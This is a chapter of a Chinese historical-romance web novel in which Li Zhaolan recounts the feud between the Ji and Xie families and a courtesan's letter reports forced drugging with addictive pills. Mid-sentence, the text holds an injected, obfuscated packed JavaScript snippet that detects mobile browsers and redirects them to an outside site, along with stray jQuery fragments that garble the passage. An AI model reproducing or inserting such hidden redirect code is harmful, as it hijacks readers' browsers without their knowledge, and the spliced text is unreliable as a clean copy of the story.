李昭澜本想带着邓夷宁下榻听风驿,可碍于季淮书这个跟屁虫在,还是在遂农租了间临时小院。他们夫妻二人住厢房,勉强给了季淮书一个守书房的机会。
回了屋,邓夷宁就迫不及待问起了季淮书的事。还记得上次李昭澜敷衍她,称跟季淮书不熟,可从这几日共事看来,他们二人并非不熟。相反,他们对对方的想法了如指掌,甚至有种未卜先知的可怕感。但不管怎么样,邓夷宁甚至豁出去对他撒一次娇也无济于事。
“有什么不可告人的秘密?季大人年纪轻轻便在大理寺卿这个位置坐稳,若说背后没你的点拨我还当真是不信。”邓夷宁鄙夷一声,自讨没趣。
李昭澜听见这话倒是有了一丝反应,急忙一把拉住她的手,道:“这话可别叫季淮书听见了,他得跟你拼命。”
邓夷宁也不问为什么,但对季淮书这人依旧充满好奇。她听闻此人也不过比李昭澜年长一岁,这岁数能压年过半百的大理寺少卿一头,还真能写进《大宣奇闻录》里。只是她想破了脑袋也没能想个所以然出来,整个大宣朝堂之中,竟找不出一人与这季淮书有血缘关系之人。
“难不成是先皇的——”邓夷宁眉头一挑,话没说完就被李昭澜打断
“别乱想。内阁的骆大人,是季淮书的叔父。”
邓夷宁嘴里喃喃重复了一遍,显然有些震惊:“骆?是骆文骆大人?骆大人是他的叔父?”
说起季家,是连李峥都觉得无比惋惜的一代人。季淮书祖父是家中老三,老大为商,成了五十多年前大宣鼎鼎有名的富商,这也是季家深厚底蕴的由来。老二是个只会读死书的呆子,勤勉好学,奈何为人耿直,从不打官腔,以至于到后来病死都只是一个小小的从五品。
除了兄弟三个,家中还有一个小妹。小妹天资聪颖,容貌出色,还未及笄便被一群富家子弟盯上了,奈何小妹有自己的想法,都快二十了还未出嫁,急得大哥们团团转。后来,小妹的婚事还是他二哥搭的桥。
嫁给前朝吏部尚书,生了个儿子便是如今的骆文。骆文接了他父亲圆滑处事的性子,在内阁算不上讨喜,但也不至于得罪谁。只是他这个表侄跟二哥一样,愣头愣脑,竟还真叫他在大理寺站稳了脚跟。
在大宣的律例之中,写明朝中官员不得经商,为了保全两个弟弟的仕途,季家老大最终选择了与季家割席断交,将原本苦心经营的铺子全数变卖,带着家眷和余资大张旗鼓被“扫地出门”,离开大宣,远赴岭南,寻了个不起眼的小镇重新打起商号,才得保全一脉商机不断决。
那时朝中风气严苛,有些大臣甚至公然在御前参奏季氏勾结商贾、败坏风俗。所幸季二和祖父两兄弟生性清苦,素来不染钱财腥气,宫里查不出实证,此时也就不了了之。后来,远走他乡的季老大虽成了一方商贾,可似乎是邪了门,一家六个孩子楞是出不了一个儿子。姑娘们纷纷嫁为他人,与原先的主脉在无往来。季老大安顿好姑娘便回了大宣,此时的他早已孑然一身,最终在季老二的府上病逝。
“那季淮书的祖父,季家老三呢?”
“朝堂纷争,死于谋害。”李昭澜脱了鞋,躺在她身边,“说起来,杀他爷爷那人的孙子你也认识。”
“谁啊?”
“澄夜。”
“谁?那个和尚?”
李昭澜叹气解释:“人家是禅师。”
“没什么区别。”邓夷宁嘀嘀咕咕,翻了个身。
李昭澜本没想多提,却见她一副兴致缺缺的模样,又忍不住将被褥往她身上一掖,道:“都是陈年旧事,日后你总会知道的。别看季家本系最高也只是个四品祭酒,那都是他祖父只愿坐在这位置上。国子监鱼龙混杂,面对的都是大宣的将来,他祖父夹在中间,两头不讨好,最后死得悄无声息,连口棺材都没落着。”
“不是抄家?”邓夷宁侧身面对他。
“只是先皇口谕,圣旨都还未下,尸首就被发现挂在国子监门头上,”李昭澜语气淡淡,“还是骆文他爹收的尸。后来季家出事,也是骆文一手救下这个表侄的。这么说吧,季淮书叫他表叔父一声爹都不为过。”
邓夷宁哦了一声,觉得他这话说的前言不搭后语。上一句还在否认季淮书是靠自己走到大理寺卿这个位置,下一句又说骆文在背后帮了他不少。
“对了,那个禅师又是怎么一回事啊?”
“澄夜?青禁台的禅师而已。”
邓夷宁不满这个回答,手指戳了戳他的手臂:“别打岔,你知道的,我想问的不是这个。”
“澄夜,他姓谢,是谢家三房庶出。”
“谢?哪个谢家?”邓夷宁脑子一转,小声惊呼,“莫非是前朝大名鼎鼎的罪臣谢骁的那个谢家?”
李昭澜点点头:“不错,就是谢骁的谢。”
“所以谢骁真的有伪造圣旨及弑上之罪?”
李昭澜没有立刻作答,双手交叠在脑后,轻叹一口气。屋内静了片刻,他才缓缓道:“这是定在史书里的罪名,可这书由谁去写,怎么写,都是赢家说了算。”
邓夷宁屏息听着,不敢出大气。李昭澜这般语气,她倒是极少听到。
谢骁是先皇胞弟九皇子一派中最锋利的一柄剑,武将出身,又兵权在手,威望极高,在百姓口中,他是个以身殉国的好将士。可在整个谢家,他就是一扶不上墙的烂泥。
谢骁生前一共有四个女人,正室是南平柳氏的嫡出,在生长女时大出血而死。正妻亡故后的第二年,他纳了郅州沈氏二房庶出为妾,育有两女,可之后再也没怀上过。谢家老太太不肯,让谢骁从边关回来娶了宁北的魏家二房。
原本事情到此就算圆满了,可奈何谢家有个不成文的规矩,这男人纳妾只单不双,谢骁碍于谢老太太的逼迫,又过了一门张家的庶出,便是澄夜禅师的生母。
“等等,纳妾只单不双?这是为何?”
李昭澜翻了个身,嘴角扯出一丝难言的嘲讽:“谢家传统,也不知从哪一代开始迷信风水命理。祖上曾请过一位道士给谢家算过命,说是谢家男丁命簿,后代得出男子冲命。喜单不喜双,若纳妾为双则本系为单,死后会被妻妾吸走命数,转世投胎只能投到畜牲头上。”
邓夷宁听完无语了好一阵,什么乱七八糟的说法,上不涉及神仙,下倒是点名阎王爷不作为,这谢家一家子都是武将,竟还信这些东西。
李昭澜看穿了她的想法,解释道:“正因谢家是武将出身,家中女子更信命数。说他们在战场杀敌,报应会投到家中女子身上,更是信佛信命。”
澄夜的生母张氏,虽是谢骁名义上的第三任妾,却是唯一一个为他生下儿子的,理应该是于万千宠爱于一身。可偏偏谢老太太信命,称就算是庶出也得是一房所生,非逼着三房将澄夜过继给一房。三房是个小门小户出生的,自然比不上一房给谢老太带来的利益,三房拗不过谢老太,只得眼睁睁看着孩子离开自己,还被老太禁足偏院。谁知孩子还没足月,三房便郁郁而终。
“那他是被一房养大的?他知道自己的生母是谁吗?”
李昭澜摇摇头没回答,自顾自往下说。
禅师澄夜的出生,于谢家来说既是好事,也是坏事。在三房被大夫确认怀上澄夜的第五日,边关传来了谢骁的死讯。推算消息延误和路途,正巧于三房传出喜讯是同一天。更为巧合的是,澄夜的生辰和谢骁是同一天。
一次次的巧合让谢家不得不信命,谢老太太失去儿子大病不起,勒令全家不再插手朝堂之事,还不等一家人离开大宣城,谢骁伪造诏令和弑上的消息传遍了大街小巷。
谢骁杀的,是南平老侯爷之孙。
这南平老侯爷是何许人也,前朝开国功臣,与太祖皇帝可谓是穿一条裤子长大的。江山初定后,受封三代不拜、入朝不趋、剑履上殿之尊,是先皇登基前最为倚重的老臣之一。膝下三子皆年少有为,一女入宫为皇子妃,而南平老侯爷之孙自幼在军中长大,二十未满便已立三城五站之功,堪称少年英杰。
也正因如此,谢骁弑杀之名传出后朝野震动,百姓哗然。可依旧有百姓念着谢骁戍边多年的功绩,不信他会痛下杀手。朝中诸臣皆为南平老侯爷庇佑,都主张彻查此事,可那时正值先皇登基,根基未稳,既然安抚旧臣,又不愿袒护此事,便将此事交给三司法联审。所谓伪诏一事更是人证物证全在,谢骁就算是八张嘴也说不清为何从他的帐房中搜出伪造玉玺。
一纸罪名,谢家上下尽数除名削籍,但念在曾护国有功免除死罪,全家流放千里之外。那时澄夜禅师尚在襁褓,谢老太不愿让孙子受苦,便派了人将孩子丢弃在青禁台门前,这才让谢家留有后代。
邓夷宁听得心头一震,问道:“那青禁台就这么收了他?不怕引火烧身?”
李昭澜笑了笑,摇头道:“将军以为,先皇难道不知此事?此地讲缘也讲心,澄夜自小不哭不闹,眼中丝毫没有婴儿该有的懵懂,被渡法真人一眼相中,收于庙里。”
良久,邓夷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16032564|166329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宁仰面朝天,有些许感叹:“难怪那日与他谈话,满口都是佛说礼义,未曾想他竟有这般凄惨的身世。”
“或许吧。”李昭澜低声附和,“可他亦是被庇佑的,谢老太虽固执古板,却在生死关头护住了谢家最后一丝血脉。算是善恶参半。”
邓夷宁嗯了一声,想了想又问:“那他是怎么从佛家弟子变为禅师的?”
“其实二者并无两样,只是澄夜不必削发罢了。后来他成为医师,常常下山治病救人,佛家念及他的恩德,便抵了削发一事。”
邓夷宁若有所思地看着纱幔:“如此说来,这谢家和季家算是世家仇恨。谢家武将之门,却落了个不问尘世的后代;季家世代文官,偏偏落了个武将后代,造化弄人。”
她打了个哈欠,背对着李昭澜安心睡下,而她身后之人却迟迟未能合眼。许是半个时辰后,他轻手轻脚走出了厢房,消失在黑夜之中。
次日,邓夷宁醒来之时身侧的位置早已凉透,隐约听见小院之中传来一阵低声交谈。她简单收拾一番,出了门,看见季淮书与他对坐饮茶的身影。
“一大早的,二位好兴致啊。”邓夷宁调侃一句。
季淮书拱手,礼道:“王妃。”
“大人免礼,不必拘束这些。”
李昭澜替她倒上一杯茶:“来得正好,季寺卿刚传来一份新消息,将军或许会感兴趣。”
“什么?”
“那舒梅离开之前,给她同屋的姐妹留了一封信,称此信只能交给本殿。而我们三人昨日去芙仙院被那女子瞧见,便四处打探本殿的消息,这才将信交与季寺卿。”
“在何处?可让我瞧瞧?”
季淮书取出那封信放在桌上,她便迫不及待地拿起打开,读了起来。开头短短几行介绍了自己与映冬姑娘的关系,总结下来无非是熟络与信任几字。邓夷宁快速浏览,将目光落在后段——
舒梅以性命担保,映冬素心善良,决无半分插手此意。奈何无凭无据,以下所述皆为妾东拼西凑,惟愿诸君慎断是非。
映冬初始并非陆少,而为周家公子肃之。彼时一见倾心,自知卑微而不敢高攀,唯将情意藏于心。未曾想此事竟被鸨母察觉,遂遭禁足数日。适值其禁足之际,芙仙院百客盈门,陆英协各家公子至此寻欢,鸨母见映冬数日未接客,遂唤其前往。
怎奈次日小仆打扫房内,见映冬赤裸扑地,气息奄奄,昏迷数日方醒。妾曾问其缘由,她却闭口不谈,只余泪两行。其后妾察映冬精神每况愈下,屡见半夜暗中服药,追问之下,方知彼时被陆英数人强喂以黑色药丸。
妾劝她求医,她却言语陆英送其解药,若妄诊脉服药。性命难保。一日,她吐血倒地,妾私藏药丸一颗,持至医馆相问,大夫云:此药为毒,兴致高涨,一旦服用便须终身依赖,不可断续。
妾不忍其苦,意欲前去求助周公子,映冬却坚持不允,称若一句一言告知,她便断药自尽,便只能作罢。后为私探药成分,妾便每隔几日偷藏药丸,怎料她早有察觉,遂嘱妾藏好,而今已相赠诸君,望君明察。
映冬离去之日妾便心生泪意,心知她此行无归。盖因数日前陆英曾至,映冬虽未明言,妾却伏于门后,偷闻陆英之语:欲得解药,当以命偿。可映冬房中所藏之药,足可支撑一月。
此外,映冬亦曾暗售此药予他人,妾亲见数次,每每银数不同,然皆于接客之时交换。彼收银之后,为避鸨母查察,悉数藏于厢房门前绿盆之中,数日后与陆英交还。
邓夷宁的手指紧了紧,薄薄几页纸也压不住她心头升起的怒气。最后落在末尾的纸页上。
“妾自知微末,却想活的自在。妾听闻玉春堂同琼醉阁乃是陆英手笔,想来屡次步足芙仙院,定是另有打算。妾无别意,只求诸君明察,留映冬一条活路。”
信纸至此戛然而止,字迹也顿在最后那个“活”字下边,半边晕着一道墨痕。
季淮书看着她,不言不语,李昭澜将茶盏放下,发出一阵轻响。
“这信尾所言,可有查证?”
季淮书点头:“粗略证实一二,别的还在探查之中。陆英确实在琼醉阁失火后屡屡步足芙仙院,但从院内别的姑娘口中得知,映冬早早便与那周家公子相识,我派了人去寻他,几日便会由消息。”
邓夷宁听着这话,意思是他还不知道周肃之与李昭澜认识。她瞥了李昭澜一眼,始终觉得有哪儿不对,隔了半晌才想明白。
“对了,魏越呢?”